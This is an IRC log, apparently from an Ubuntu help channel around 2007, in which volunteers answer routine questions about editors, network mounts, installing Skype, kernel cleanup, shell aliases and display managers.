[07:37] <Flannel> Evanlec: Kompozer is mostly nvu.  No idea why the naming.  But, it's nvu with bugfixes.
[07:37] <Ubotu> quanta: web development environment for KDE. In component main, is optional. Version 4:3.5.6-0ubuntu1 (feisty), package size 2382 kB, installed size 5728 kB
[07:37] <davidthedrake> Vim is one of those editors where, while working on a project you think to yourself, "Gosh, I really wish my editor could do this." Until you realize... wow... Vim can do this.
[07:37] <nickrud> dpml: then you might be really happy with emacs
[07:37] <Evanlec> oh, i was confused, its quanta thats the KDE app, sorry Flannel
[07:38] <davidthedrake> Vim + Screen = pwn.
[07:38] <Evanlec> Vim is one of those editors where....u use the keyboard and have to learn all the keyboard shortcuts
[07:38] <[_Snarf_] > Vim isn't an editor.. it's a lifestyle.
[07:38] <Evanlec> LOL
[07:38] <davidthedrake> LOL!
[07:38] <davidthedrake> So true.
[07:38] <Evanlec> some poeple seem to be obsessed with it..im not sure why
[07:38] <musikgoat> ZZ that quote
[07:38] <defrysk> Vim is a toilet cleaner in Holland
[07:39] <davidthedrake> Evanlec, that's how computers used to be. Remember when you couldn't run a Word Processor without memorizing the hotkeys or having something you laid over your keyboard (or had a sharpie)?
[07:39] <jamesdean28> Hello
[07:39] <dpml> I thought about emacs - but I'm presented with a choice of 7 packages that provide emacs  - emacs21, emacs-snapshot, e3, emacs-snapshot-nox, emacs21-nox, jove and emacs-snapshot-gtk - any suggestions on which if these I should be installing?
[07:39] <Evanlec> davidthedrake, yea, it was called DOS, and i prefer not to remember it ;p
[07:39] <nickrud> and the control characters were exactly that, little blocky characters embedded in the text?
[07:39] <defrysk> http://www.figuiere.net/hub/blog/200407/vim.jpg
[07:40] <Ayabara> dpml: I use emacs-snapshot and it works fine
[07:40] <Ayabara> think its version 22
[07:40] <nickrud> dpml: emacs-snapshot-gtk , it has a nicer interface. The next version of ubuntu has the release version
[07:40] <Evanlec> i use GEdit lol...
[07:40] <eddiestone> does anybody knows if there are any way to down the font size of a .tex to 9px?
[07:41] <Ayabara> nickrud: what do you mean by nicer interface? more menus, buttons and stuff?
[07:41] <Helmi> good morning ;)
[07:41] <davidthedrake> [_Snarf_]  - I hope you don't mind, but I'm totally going to use that.
[07:41] <nickrud> Ayabara: font anti-aliasing
[07:41] <dpml> ok - I'll start experimenting with emacs - thanks
[07:41] <[_Snarf_] > it's the internet, do what you will
[07:41] <[_Snarf_] > just no nudity pics of me please
[07:41] <Helmi> i got a problem: mounted some network shares via fstab but they don't get mounted on boot - i always have to manually mount them. any idea why that is?
[07:41] <Evanlec> font anti-aliasing is a MUST, IMO
[07:41] <nickrud> dpml: vim may be a lifestyle, but emacs is an operating system
[07:42] <davidthedrake> [_Snarf_] , right, I'll just keep posting the ones of Mumrah ;)
[07:42] <Ayabara> nickrud: ok. now I have to google exactly what font anti-aliasing is :-)
[07:42] <[_Snarf_] > much appreciated
[07:42] <nickrud> Ayabara: system->preferences->fonts, turn it all off and you'll see ;)
[07:43] <Evanlec> yea...make ur computer look like an Apple II
[07:43] <Evanlec> lol
[07:43] <nickrud> I use several different ones, depending on the context. But emacs's key bindings are so .... elegant
[07:43] <Evanlec> would you consider yourself a power user? lol
[07:43] <Carb0n> nickrud: It's fun using Emacs with Dvorak layout
[07:44] <Ayabara> nickrud: :-) , called "Smoothing" in gutsy I guess
[07:44] <nickrud> Carb0n: heh.
[07:44] <davidthedrake> Carb0n, one of the great things about Vim is that it was designed with QWERTY in mind.
[07:44] <nickrud> Ayabara: yup, that's what anti-aliasing is all about. Games use it a lot now to cure the jaggies
[07:44] <Carb0n> davidthedrake: :(
[07:45] <davidthedrake> Carb0n, just sayin. I used to be a non-believer too :)
[07:45] <Ayabara> nickrud: so emacs as usual lives it's own life and doesn't heed that setting? guess I should try gtk too :-)
[07:45] <Poul|Raider> anyone know if i can make the follow ssh command "ssh -T -l kak.xxxxxxx xxx.k-net.dk" into a config file instead so i just can ssh knet ect?
[07:45] <Evanlec> nickrud, will installing linux-lowlatency update mykernel or just install 2.6.20-16-lowlatency version?
[07:45] <Carb0n> davidthedrake: You won't believe until you experience it, right? ;)
[07:45] <nickrud> Evanlec: add the lowlatency version
[07:45] <Evanlec> it will add the lowlatency version?
[07:46] <davidthedrake> Carb0n, Meh. It's less of an experience and more of a realization ;)
[07:46] <ltar> I need a linux utility to make blind copies of discs, or that can get through various encryption schemes
[07:46] <skullripper> .
[07:46] <Carb0n> davidthedrake: I prefer calling it a revelation!
[07:46] <nickrud> Helmi: your question probably got lost in the clutter, you'd better ask again (I don't know nfs)
[07:46] <davidthedrake> Carb0n, Meh. I prefer realization because there's definitely a learning curve.
[07:46] <Ayabara> nickrud: I don't see any difference between "" and "-gtk" on my system, so I guess I'm good :-)
[07:47] <Ayabara> good as in "all set"
[07:47] <Carb0n> davidthedrake: well, suit yourself :)
[07:47] <Poul|Raider> How do i turn "ssh -T -l kak.xxxxxxx xxx.k-net.dk" into a config file  Host knet /n/r HostName xxx.k-net.dk /n/r User kak.xxxxxx    not sure about the -T -l ?
[07:47] <Helmi> nickrud, yeah kind of a problem in channels like this ;)
[07:47] <Helmi> i got a problem: mounted some network shares via fstab but they don't get mounted on boot - i always have to manually mount them. any idea why that is?
[07:48] <Midtronic> is mounting happening before the network comes up?
[07:48] <nickrud> Helmi: ah, I might I have the answer after all: the fstab is read before nfs is started ?
[07:48] <elzbal> Helmi: Do you have "noauto" as part of the options? If not... what does the line in fstab look like?
[07:48] <Carb0n> Helmi: Does it have the "auto" in the /etc/fstab?
[07:49] <elzbal> Helmi: I have nfs mounts in my fstab, and they work fine.
[07:49] <Helmi> standby for details
[07:49] <jamesdean28> Hello
[07:49] <ltar> I need a linux utility to make blind copies of discs, or that can get through various encryption schemes
[07:49] <davidthedrake> NFS... pffft... AFS/Kerberos... now that's some cool stuff.
[07:49] <Helmi> no auto and no "no-auto" in there. looks like this: //192.168.88.5/xfer     /net/xfer       cifs    credentials=/home/helmi/.smbcredentials,iocharset=utf8,uid=1000,gid=1000,file_mode=0777,dir_mode=0777   0
[07:49] <Helmi>        0
[07:49] <Evanlec> !burn
[07:49] <Ubotu> CD/DVD Burning software: K3b (KDE), gnomebaker, serpentine, graveman, Nautilus cd burner (Gnome), gtoaster, xcdroast, cdrecord (terminal-based). Burning .iso files: see https://help.ubuntu.com/community/BurningIsoHowto
[07:50] <cristhian> hey, dudes.
[07:50] <davidthedrake> That's quite an assumption :)
[07:51] <ltar> i don't want to burn the disc, I need to make an iso. Gnomebaker can't get through the encryption
[07:51] <cristhian> please got a second
[07:51] <ltar> (safedisc2)
[07:51] <nickrud> ltar: dd if=/dev/cdrom of=file.iso    should make a bit for bit copy of the cd, if the burning was non standard though
[07:51] <davidthedrake> !ask | cristhian
[07:51] <cristhian> thanks Dave
[07:52] <Ubotu> cristhian: Don't ask to ask a question. Just ask your question :)
[07:52] <tonyyarusso> Evanlec: KompoZer is NOT a KDE app - the naming has nothing to do with KDE
[07:52] <elzbal> Helmi: that looks more like an SMB mount than a NFS mount... And taking a cue from nickrud, is samba started before the fstab is read?
[07:52] <cristhian> it is about my sound controller. I have no idea how to make it to work
[07:52] <davidthedrake> elzbal, Helmi has quit ("Ex-Chat")
[07:52] <Evanlec> tonyyarusso, yes im aware, and if u read that far back i corrected myself ;)
[07:52] <tonyyarusso> Evanlec: heh, just got that far in the awaylog :S
[07:52] <Evanlec> i c ;p
[07:52] <elzbal> davidthedrake: gotcha, didn't see that.
[07:52] <nickrud> elzbal: the fstab is read (at least the first time) long before samba
[07:53] <tonyyarusso> Flannel: The name change is because Nvu is a trademark held by Linspire, and they were non-responsive about the rights to continue the name.
[07:53] <Evanlec> oh
[07:53] <Evanlec> too bad they stopped development
[07:53] <joli> nvu changed is name?
[07:53] <joli> how is it caled now?
[07:53] <tonyyarusso> joli: KompoZer
[07:53] <Evanlec> Kompozer
[07:53] <joli> tonyyarusso: thanks
[07:53] <joli> strange name
[07:53] <joli> :P
[07:54] <elzbal> nickrud: I'm off pretty soon... if he comes back on, and if you remember, he can put his mount command in /etc/rc.local
[07:54] <cristhian> well my laptop is a Toshiba a135 model number 2276. The audio driver seems to be gone
[07:54] <Evanlec> nickrud, okay here i go to reboot with lowlatency ;p
[07:54] <nickrud> elzbal: ah, ok
[07:54] <ltar> nickrud- what's the syntax of that? if=(disc mount point) of=(desired iso name?) and where does it save?
[07:54] <cristhian> my version is Feisty 7.04
[07:54] <nickrud> ltar: wherever you chose, of=/path/to/file.iso
[07:55] <nickrud> ltar: take a look at the man page for more options, like bs (block size) etc
[07:56] <setite> can anyoen send me a proftpd config that iwll work without tweaking
[07:56] <setite> im trying to get this started and i cant work it on my own
[07:56] <cristhian> anyone got an idea how to make my toshiba sound driver to work ? please say somthin
[07:57] <Sajes> cristhian, Nope.
[07:57] <ltar> nickrud- thanks
[07:57] <cristhian> is that hard ?
[07:58] <Sajes> Alright, time to go test this new modem driver out.. If it works, I'll be like.. SWOOT. ;d
[07:58] <davidthedrake> cristhian, According to the bug-report for what you've said, this guide has worked for some: http://knowledge76.com/index.php/ALSA_1.0.10_Setup_on_Ubuntu_Breezy
[07:58] <nickrud> ltar: yw
[07:58] <nickrud> cristhian: http://arbitraryusefulinfo.wordpress.com/2007/06/12/configuring-ubuntu-on-a-toshiba-a135-s2356/ also seems close :)
[07:58] <cristhian> ok let me take a look at it. be be back in a short time
[07:59] <davidthedrake> Yea... that "google" thing those kids keep talking about is pretty sweet.
[07:59] <nickrud> heh. davidthedrake it's the tricks of the trade
[08:03] <leladia> how do u display the content of an alias?
[08:04] <Ahadiel> Night all!
[08:05] <leladia> where is everyone going to?  hey guys don't go anywhere cos i haven't received any reply to my question yet... thanks
[08:06] <davidthedrake> !patience | leladia
[08:06] <Ubotu> leladia: The people here are volunteers, your attitude may determine how fast you are helped.  Not everyone is available all the time, likewise not every answer is available instantly. See also http://wiki.ubuntu.com/IrcGuidelines
[08:06] <leladia> ubotu: thanks for the reply
[08:06] <[_Snarf_] > !awesome | [_Snarf_] 
[08:06] <davidthedrake> leladia, You can see all the aliases you currently have by just entering: alias
[08:06] <leladia> atleast someone replied
[08:07] <ubunturos> leladia: ubotu is a bot. You'll get an answer or you'll be asked to look up
[08:07] <[_Snarf_] > "Ubotu> Sorry, I don't know anything about awesome - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi"  :(
[08:07] <allbert> os[Linux 2.6.22-10-generic i686]  distro[Debian lenny/sid]  cpu[1 x Pentium III (Coppermine) @ 798MHz]  mem[Physical : 249MB, 40.6% free]  disk[Total : 4.64GB, 0.00% Free]  video[nVidia Corporation NV5M64 [RIVA TNT2 Model 64/Model 64 Pro] ]  sound[] 
[08:07] <leladia> davidthedrake: thanks
[08:07] <bullgard4> Why does apropos not list 'type'?
[08:08] <davidthedrake> leladia, my pleasure.
[08:09] <leladia> pls how do i delete an alias i created?
[08:09] <davidthedrake> unalias
[08:09] <Juchipilo> unalias aliasname
[08:09] <leladia> thanks guys!!!
[08:10] <leladia> don't knw what i would have done without u all!
[08:10] <avt3kk> have you guys seen my little tutorial I made?
[08:10] <ubunturos> avt3kk: what is it about?
[08:11] <[_Snarf_] > avt3kk, is it a good one?
[08:11] <musikgoat> I have a bunch of old kernel and initrd images, amongst other things in /boot,  can I delete all but the 2 most recent?
[08:11] <musikgoat> http://pastebin.com/d547850ba
[08:11] <Charlot1> hey, guys any ideas hot to run skype on amd64 fiesty
[08:11] <avt3kk> I used (drive image 2002) to create an image I can make it high compression ;)
[08:12] <avt3kk> when you restore the image you got to fix inode errors ect
[08:12] <avt3kk> heres the link
[08:12] <avt3kk> http://ubuntuforums.org/showthread.php?p=3242630#post3242630
[08:12] <nickrud> musikgoat: you can remove them, but use aptitude or synpatic or some other package tool , don't delete them directly
[08:12] <nickrud> musikgoat: you should keep the latest and second latest around
[08:12] <musikgoat> ok nickrud thanks
[08:13] <avt3kk> I used xp to pull the via sata drivers from my motherboard drivers cd to paste in the (Drivers) folder I created after making the bootable repair floppys for Drv Img 2002
[08:13] <DaveG|> hey, how do i start ubuntu without the boot screen where it only shows you the ubuntu logo and loading bar? because it won't load overwise
[08:13] <what_if> any idea why only konqueror would have problems with an FTP server and no other program ??
[08:13] <avt3kk> 2002 they had no sata lol
[08:14] <what_if> says "cannot access folder . "
[08:14] <Flannel> what_if: can you get to the ftp server through ftp?
[08:14] <Charlot1> hey, guys any ideas hot to run skype on amd64 fiesty??????
[08:14] <what_if> Flannel: yes, and Firefox and ie
[08:15] <thedash> I can't get my sound to work, it just stopped after a reboot
[08:15] <thedash> I get this when trying speaker-test :: Playback open error: -16,Device or resource busy
[08:15] <ubunturos> Charlot1: did you add skype repo in sources.lst?
[08:16] <avt3kk> the admin aproved my tutorial hahahha  yay'
[08:16] <avt3kk> ubuntu delta force haha
[08:16] <rockets> Anybody know any media players other then VLC that can play a "directory". e.g. if I have the contents of a dvd in a directory but not burned to an actual DVD
[08:17] <noodles13> Does anyone know why vlc cannot play avi's over the network but mplayer can. And both work when the files are on my actual computer?
[08:17] <Ed_Server> Charlot1: there are instructions on the skype article on help.ubuntu.com
[08:17] <Charlot1> no, i mena i dont know i just downloaded skype from the site and i read one post int the forum, but when i type" linux32 ./skype" nothing is happaning
[08:18] <ubunturos> Charlot1: and also on http://skype.com/intl/en/download/skype/linux/repositories.html
[08:18] <Ed_L`> https://help.ubuntu.com/community/Skype
[08:18] <ubunturos> Charlot1: !skype
[08:18] <ubunturos> !skype | Charlot1
[08:18] <Ubotu> Charlot1: To install Skype on Ubuntu, see https://help.ubuntu.com/community/Skype - To record on Skype, check: https://wiki.ubuntu.com/SkypeRecordingHowto
[08:18] <Charlot1> lol thaks i wii read now
[08:19] <ArtVandalae> But remember to support freedom, and try something like Jabber
[08:19] <avt3kk> heres my tutorial on the ubuntu tutorials website http://ubuntuforums.org/showthread.php?t=536491
[08:19] <avt3kk> ;)
[08:20] <nickrud> Charlot1: it looks ugly, but it looks like it works: http://www.isabisl.org/?Linux_Stuff:Skype_Ubuntu_7.04_Feisty_Fawn_AMD64
[08:20] <avt3kk> what you guys think about my tutorial?
[08:20] <avt3kk> im looking for input
[08:20] <defrysk> avt3kk, good luck ; help.ubuntu.com
[08:20] <Charlot1> thanx i will read them right now
[08:21] <heartsblood> is it possible to boot directly into a term instead of X loading on every reboot of ubuntu?
[08:21] <avt3kk> def did you read it?
[08:21] <it-linux> dear master: I would like to ask about sources.list file from /etc/apt can I get replace it ? I have delete it by accident
[08:22] <defrysk> !repos
[08:22] <Ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[08:22] <defrysk> !easysource
[08:22] <Ubotu> source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[08:22] <heartsblood> without killing X in /etc/rc
[08:22] <johwil> !repos
[08:22] <ubunturos> !run-level
[08:22] <Ubotu> Sorry, I don't know anything about run-level - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:22] <ubunturos> !runlevel
[08:22] <Ubotu> Sorry, I don't know anything about runlevel - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:22] <Sonicadvance1> Installing Ubuntu from a USB flash drive is as easy as copying the Live CDs files over and running syslinux on the flash drive right?
[08:22] <avt3kk> Def did you read my tutorial?
[08:23] <avt3kk> defrysk
[08:23] <Geoffrey2> anyone in here that's familiar with building gnash from source?
[08:23] <heartsblood> ubunturos: are you trying to tell me to modify the run level?
[08:23] <defrysk> avt3kk, we dont support 3rd party tuts
[08:23] <avt3kk> ook lol
[08:23] <ubunturos> heartsblood: i was thinking, if you could, you could probably get into term without X - possible?
[08:24] <musikgoat> nickrud: I've been able to remove the linux images, but where in synaptic do i reference initrd images?
[08:24] <nickrud> musikgoat: the initrd should have gone with linux-image*
[08:24] <[_Snarf_] > are there any simple quick and easy back up tools? I'm looking for something that's easily automated
[08:24] <musikgoat> nickrud: I did complete removal,  they did not
[08:25] <Poul|Raider> I am running with 4 desktops, but when ever i change from 2,3 or 4 to 1 it just frezz for a few sec to load those my hdd on the desktop i think, it go instant to the other desktops where it dont show the hdd on?
[08:25] <it-linux> thanks ubotu I'll try it now
[08:26] <ubunturos> Poul|Raider: that happens with me to :(
[08:26] <amunra> Are there any good GUI "diskspace" tools for Linux, to show how much is used and where?
[08:26] <nickrud> musikgoat: hm, I only have the last two, and only the initrd's for the others are gone ...
[08:26] <ubunturos> Poul|Raider: may be less RAM
[08:26] <musikgoat> yeah amunra disk analyzer
[08:26] <mon^rch> filelight
[08:26] <amunra> musikgoat and that is in Synaptic?
[08:26] <Charlot1> charlote@Charlot:~/Desktop$ sudo dpk -i --force-all ./skype_static-1.4.0.99.tar.bz2
[08:26] <Charlot1> sudo: dpk: command not found
[08:26] <musikgoat> sorry disk usage analyzer
[08:26] <[_Snarf_] > conky
[08:26] <ubunturos> dpkg
[08:26] <Charlot1> i get this  what to do now
[08:26] <Poul|Raider> ubunturos, i got plenty of RAM
[08:26] <musikgoat> amunra: it should be
[08:27] <amunra> ok
[08:27] <nickrud> amunra: do you have ubuntu installed, rather than kubuntu or another?
[08:27] <ubunturos> Charlot1: dpkg instead of dpk
[08:28] <amunra> nickrud, I have Debian installed - which is pretty much Ubuntu
[08:28] <nickrud> close enough for gov work anyway ;)
[08:28] <furenku> how can i stop the x server so i can install nvidia drivers=
[08:28] <musikgoat> nickrud: (or anyone else) do you have a suggestion on how to remove them safely?   them being old initrd images
[08:28] <heartsblood> Furenku that is exactly what I want to know
[08:28] <Flannel> furenku, heartsblood, sudo /etc/init.d/gdm stop
[08:28] <Poul|Raider> ctrl+f1
[08:29] <heartsblood> that will just kill gdm though, wont x still be running?
[08:29] <Flannel> musikgoat: remove the old kernel packages.  (It's usually a good idea to leave one known good image though)
[08:29] <Poul|Raider> Ctrl+F1 and killall gdm
[08:29] <[_Snarf_] > heartsblood: sudo /etc/init.d/gdm stop
[08:30] <Charlot1> dpkg - warning, overriding problem because --force enabled:
[08:30] <Charlot1>  package architecture (i386) does not match system (amd64)
[08:30] <Charlot1> Selecting previously deselected package skype.
[08:30] <Charlot1> (Reading database ... 111287 files and directories currently installed.)
[08:30] <Charlot1> Unpacking skype (from .../skype-debian_1.4.0.99-1_i386.deb) ...
[08:30] <Charlot1> dpkg: skype: dependency problems, but configuring anyway as you request:
[08:30] <Charlot1>  skype depends on libqt4-core (>= 4.2.1); however:
[08:30] <Charlot1>   Package libqt4-core is not installed.
[08:30] <Charlot1>  skype depends on libqt4-gui (>= 4.2.1); however:
[08:30] <musikgoat> Flannel: I used synaptic to remove the old linux images, up to the last 2,  but still have the initrd's for each.
[08:30] <Charlot1>   Package libqt4-gui is not installed.
[08:30] <Charlot1> Setting up skype (1.4.0.99-1) ...
[08:30] <Charlot1> Configuration file `/etc/dbus-1/system.d/skype.conf', does not exist on system.
[08:30] <Charlot1> Installing new config file as you request.
[08:30] <nickrud> musikgoat: looking at acouple tings
[08:30] <furenku> Flannel: it is not being stopped
[08:30] <musikgoat> ok nickrud
[08:31] <Flannel> musikgoat: you ought not to.  Did you just mark for "removal" or "complete removal"?
[08:31] <Flannel> furenku: You're doing this from a tty?
[08:31] <musikgoat> complete removal
[08:31] <amunra> If anyone looks for such a utility as I needed - Baobab ++
[08:31] <amunra> :)
[08:31] <furenku> heartsblood: Ctrl+F1 and killall gdm
[08:31] <amunra> hrmm
[08:31] <Charlot1> and now i have the skype icon but it wouldn't fire
[08:31] <Charlot1> why???
[08:31] <amunra> Does everything in /tmp delete itself upon reboot?
[08:32] <[_Snarf_] > Charlot1,  Package libqt4-gui is not installed. ?
[08:32] <amunra> WOW
[08:32] <amunra> My opera cache is 1GIG
[08:32] <amunra> my god
[08:33] <Charlot1> and how to get them , i mena now i have to download the i38sion or the amd64 one???
[08:33] <furenku> Flannel: killall gdm worked.
[08:33] <Mute> How do i set system-wide proxy settings?
[08:33] <nickrud> musikgoat: aptitude search linux-image: for one of the ones you just removed, what's the character in the far left column?
[08:33] <leladia> pls, how do i format date to show mdy?
[08:33] <avt3kk> Amunra haha thats big lol
[08:34] <nickrud> Charlot1: did you look at http://www.isabisl.org/?Linux_Stuff:Skype_Ubuntu_7.04_Feisty_Fawn_AMD64 , it talks about libqt4
[08:35] <amunra> Which is funny because I told it to be a maximum of 20mb's but it's 1Gig, go figure.
[08:35] <musikgoat> nickrud: none of the ones that i removed are listed when typing aptitude search linux-image
[08:35] <amunra> I was wondering what happened to that GB.. heh
[08:35] <[_Snarf_] > it was there the whole time.. Muahaha
[08:35] <omturyx_h> hi.. how do we do network install of ubuntu?
[08:35] <omturyx_h> any pointers?
[08:35] <amunra> :P
[08:35] <nickrud> musikgoat: that makes no sense, it will list all the linux-images available from apt
[08:36] <Tom47> !insall | omturyx_h
[08:36] <Ubotu> Sorry, I don't know anything about insall - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:36] <amunra> So... does anyone know?
[08:36] <Tom47> !install | omturyx_h
[08:36] <Ubotu> omturyx_h: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues - See also !automate
[08:36] <nickrud> musikgoat: don't include the :  at the end, if you did
[08:36] <amunra> Does /tmp - delete itself at reboot? Or must you delete the files manually?
[08:36] <musikgoat> nickrud: http://pastebin.com/d3ed968a0
[08:37] <furenku> !nvidia
[08:37] <Ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[08:37] <omturyx_h> thanks Tom47 .. I would try it.
[08:38] <nickrud> musikgoat: for one, c   linux-image-2.6.20-15-386   the c means it's configured (which probably includes the initrd) . Do you have any other extra initrd's
[08:38] <furenku> where are the kernel-sources installed?
[08:39] <davidthedrake> h1st0, why'd you leap to Gusty?
[08:39] <h1st0> davidthedrake: I was doing some testing with nvidia-glx and stuff
[08:39] <musikgoat> 20-15-386   is not in /boot
[08:39] <Charlot1> lol
[08:39] <musikgoat> nickrud: http://pastebin.com/d5254a6b2
[08:39] <Charlot1> it fire up
[08:39] <Charlot1> thanx
[08:39] <Charlot1> :)
[08:39] <davidthedrake> h1st0, ahhh... coolio.
[08:39] <Charlot1> :)
[08:39] <h1st0> davidthedrake: just got sick of fixing stuff right now so i'm back.  I've spent the last 5 hours screwing around with nvidia drivers etc...  trying to work bugs out.
[08:40] <davidthedrake> h1st0, Fair 'nuff.
[08:40] <jade> zetheroo: is the web cam working for you
[08:40] <jade> ?
[08:40] <[_Snarf_] > !backup
[08:40] <Ubotu> There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[08:41] <nickrud> musikgoat: the initrd's seem to match the installed kernels
[08:41] <[_Snarf_] > heh.. that was easy... almost TOO easy...
[08:42] <musikgoat> nickrud: i totally missed the .bak files
[08:42] <avt3kk> gnight :)
[08:42] <musikgoat> 11 initrd's and 5 vmlinuz's
[08:42] <heartsblood> this is a really stupid question but I havn't used linux in a few years, how do I pipe a apt-cahce search through more or less?
[08:43] <h1st0> heartsblood: apt-cache search blah | more
[08:43] <musikgoat> apt-cache search term | more
[08:43] <heartsblood> apt-cache*
[08:43] <heartsblood> ah ty
[08:43] <heartsblood> had the other way around ><
[08:43] <h1st0> restarting
[08:43] <Ed_L`> !sbackup
[08:43] <Ubotu> sbackup is a tool to create complete and/or incremental backups (which can be scheduled to be automatic, and can be done over a network). It is available in !Universe
[08:43] <Ed_L`> !cloning
[08:43] <Ubotu> To replicate your packages selection on another machine (or restore it if re-installing), you can type  dpkg --get-selections > ~/my-packages , move the file "my-packages" to the other machine, and there type  sudo dpkg --set-selections < my-packages && apt-get dselect-upgrade  - See also !automate
[08:44] <furenku> where are the kernel-sources installed?
[08:45] <nickrud> furenku: /usr/src
[08:47] <Stanley> Anyone happen to know a way of setting an xterm window size by pixel instead of char length
[08:47] <Zoidfarb> So I installed VLC, now how do I make it my default media player instead of mplayer?
[08:48] <nickrud> Zoidfarb: right click a media file, select properties and then the open with tab. repeat as necessary
[08:48] <cn28h> anybody ever have issues with automake configure scripts not being able to find libraries that are installed? (e.g. gtk..) if I run pkg-config --exists gtk+-2.0 it returns true.
[08:48] <Zoidfarb> I tried that. It didn't work.
[08:48] <Zoidfarb> Do I need to restart X?
[08:48] <nickrud> Zoidfarb: not open with , but properties at the bottom
[08:49] <setite> how do i rename a file
[08:49] <Zoidfarb> Yeah. I changed the little radio button on properties, but it still didn't seem to stick
[08:49] <nickrud> setite: mv file newname
[08:49] <omturyx_h> setite, what is wrong with mv oldfile newfile
[08:49] <nickrud> Zoidfarb: that's the method. works here, though
[08:49] <Zoidfarb> I'll try uninstalling Mplayer and see what it does then
[08:50] <nickrud> Zoidfarb: I have mplayer doing some, and vlc doing others. No particular reason, just haven't switched them all one way or the other
[08:50] <whyameye> I have a network setup like this: wireless router --> ubuntu Feisty laptop --> xbox. The laptop is connected to the xbox through a crossover cable. Communication on the laptop to the Internet and to the xbox works. Is there a way the xbox can see the internet through the laptop?
[08:51] <nickrud> !nat
[08:51] <Ubotu> Sorry, I don't know anything about nat - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:51] <disty> There is a "real" mirc program like mirc,com one? (:
[08:51] <DQuestions> anyone here use 1and1.com.. if so do they have free dns....
[08:51] <Jowi> !firestarter | whyameye
[08:51] <Ubotu> whyameye: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[08:51] <nickrud> whyameye: look at firestarter, it can provide networking for you
[08:51] <sauvin> disty, if you're asking for a good linux IRC client, have you tried xchat?
[08:52] <Jowi> whyameye, firestarter can help setting up connection sharing
[08:52] <nickrud> disty: or irssi
[08:52] <whyameye> nickrud, Jowi: interesting. I thought firestarter was firewall only. I'll look into it now...
[08:52] <Ed_L`> DQuestions: 1and1 have their own DNS servers, yes
[08:53] <disty> i am on it but its looks kinda wierd , and i want to import my old scripts  from my windows mirc :O
[08:53] <jonnymac> good morning
[08:53] <Jowi> whyameye, http://www.fs-security.com/docs/connection-sharing.php
[08:53] <disty> ill try irssi , ty
[08:54] <sauvin> disty, you're on what, precisely?
[08:54] <sauvin> Psst... nothing runs mIRC scripts but mIRC.
[08:54] <disty> Xchat
[08:54] <nickrud> sauvin: http://www.opendns.com/
[08:54] <sauvin> Why do you say it looks weird?
[08:54] <[_Snarf_] > yeah, you're pretty much SOL on the mIRC scripts without running mIRC itself
[08:55] <sauvin> I think I've successfully run mIRC under wine, for about thirty seconds.
[08:55] <sauvin> I'd forgotten just how awful mirc is.
[08:55] <disty> cos i dont know where to strat to script :O
[08:55] <heartsblood> perl
[08:55] <sauvin> disty, xchat supports a number of scripting langugaes. I use perl.
[08:56] <DQuestions> Ed_L`, ,
[08:56] <DQuestions> . do domain registrations on 1and1 come with free dns forwarding
[08:56] <doggo> hi there
[08:56] <Enselic> who on earth would wanna run mIRC on Linux
[08:56] <Stanley> DQuestions: Instead of asking in all these channels why not check out there site?
[08:56] <doggo> there is something here know how can use yahoo messenger in ubuntu?
[08:56] <DQuestions> Stanley, i tried
[08:57] <DQuestions> =-/
[08:57] <DQuestions> i cant find it
[08:57] <heartsblood> are there any dramatic differences between linux-headers-2.6.20-16 and linux-hearders-2.6.20-16-generic?
[08:57] <sauvin> Enselic: at the time, it was "Because I Can". I erased it a few minutes later.
[08:57] <Stanley> DQuestions: I already gave you my opinion on it. 1and1 has 24/7 support (i belive), just call them. They will probally lie to you like always.
[08:57] <sauvin> doggo, I use Kopete.
[08:57] <disty> oh ok i found it plugins and scripts . tnx guys
[08:57] <Stanley> Obviously you ain't tired. You had enough energy to jump on IRC and join a couple channels and type out the question a couple times and talk to people responding.
[08:58] <doggo> i cant config kopete
[08:58] <[_Snarf_] > you could create virtual machine, install xp, install mirc into that, then run it
[08:58] <doggo> please can you help me?
[08:58] <sauvin> disty, in addition, you need to be aware that freenode has an #xchat channel.
[08:58] <[_Snarf_] > but I wouldn't recommend that
[08:58] <DQuestions> lol Stanley exactly why i'm looking for users who have used it or actually don eit
[08:58] <Stanley> Like I said, 1and1 sucks.
[08:58] <sauvin> doggo, what do you mean by "config"?
[08:58] <Stanley> Use GoDaddy
[08:58] <heartsblood> nodaddy!
[08:58] <heartsblood> F them
[08:58] <heartsblood> dnsexit.com
[08:58] <doggo> configure
[08:59] <doggo> i cant see the chat rooms
[08:59] <furenku> I have an application that i want to be able to run as normal user, not having to do it as root; how can i do this?
[08:59] <Stanley> Only problem I have had with them is them deleting one of my accounts and stealing one of my domains cause I was testing some flood protection on a personal server. Probally thought I was attacking someone lol
[08:59] <sauvin> Oh. I never use chat rooms and so can't help :(
[08:59] <doggo> thanks
[08:59] <sauvin> furenku, what's the application?
[08:59] <furenku> sauvin, puredata
[08:59] <sauvin> What is it?
[08:59] <doggo> there is some one that can help me :(
[09:00] <sauvin> Doggo, it's 2 in the morning. Ask around!
[09:00] <sauvin> doggo, also: google is your friend.
[09:00] <[_Snarf_] > oh snap.. it's 3 already...
[09:00] <Ed_L`> it's 7:00pm here ;)
[09:00] <doggo> je je, really i tried but im tired.
[09:00] <ompaul> it is 8am
[09:00] <[_Snarf_] > alright people, keep cool.. I'll be back later. This is some good learning
[09:00] <sauvin> In that case, tomorrow is another day :D
[09:00] <jonnymac> 8am here
[09:00] <furenku> sauvin, an app for realtime audio and video sinthesis; i know it works as normal user cos i have it in other computer
